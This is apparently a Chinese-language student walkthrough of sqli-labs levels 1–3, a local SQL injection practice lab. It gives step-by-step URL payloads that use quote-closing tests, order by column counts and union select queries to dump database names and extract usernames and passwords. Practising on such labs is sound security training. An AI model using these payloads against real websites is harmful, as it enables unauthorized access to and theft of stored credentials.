目录
前注
在开始之前我们需要先做一些准备工作,打开如下文件夹
用notepad打开index.php,添加如下两行,第一行是将我们构造的sql语句进行输出,第二行是换行,接下来我们就可以开始做题了。
一.less-01
mysql的基本用法
1.查库:select schema_name from information_schema.schemata
2.查表:select table_name from information_schema.tables where table_schema='security'
3.查列:select column_name from information_schema.columns where table_name='users'
4.查字段:select username,password from security.users
-------------------------------------------------------------------------------------------------------------------------------
第一关:get 单引号 - 字符型注入
1、经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2 --+
2、接着尝试在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
3、输入–+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ --+
4、利用 order by 来判断users表中有几列:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 4
由上图可知没有第四列
%23指#的编码(这个不太明白,有待学习)
4、将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位:
http://localhost/sqli-labs-master/Less-1/?id=-1’ union select 1,2,3 %23
可以看到只有第2列和第3列的结果显示在页面上,说明有两个显位
5、然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
(1)查询数据库名信息的语句
?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
(2)知道数据库名后拆解表:可以用limit一次列举出来,这里直接使用 group_concat函数
*mysql的数据库information_schema:系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,常用的表:
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库
名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
?id=-1’ union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users–+
第二关:get - 数字型
1、根据提示输入:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
我们发现MySQL的执行语句中id=1没有用单引号包住,由此可知为数字型(注入更加简单)
2、利用 order by 来判断users表中有几列:
?id=1 order by 1
?id=1 order by 4
可知该表有3列数据
3、将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位:
?id=-1’ union select 1,2,3 %23
可以看到只有第2列和第3列的结果显示在页面上,说明有两个显位
4、然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息:
(1)查询数据库名信息的语句:
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
(2)拆解表:
?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users–+
第三关:GET单引号变形字符型注入
1.向页面输入?id=1’ --+页面显示不正常:
?id=1’ --+
但是输入 ?id=1’) --+ 页面回显正常,说明此处是字符型注入,而且是以 (’’)的方式闭合字符串的:
2.接着使用order by 判断表中有3列数据:
?id=1’) order by 4 --+
(在?id后面加了’),就已经和前面的(‘匹配了,所以要把最后的’)注释掉)
3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位 :
?id=-1’) union select 1,2,3 %23
可以看到只有第2列和第3列的结果显示在页面上,说明有两个显位
4、然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息:
(1)查询数据库名信息的语句:
?id=-1’) union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
(2)拆解表:
?id=-1 ')union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --+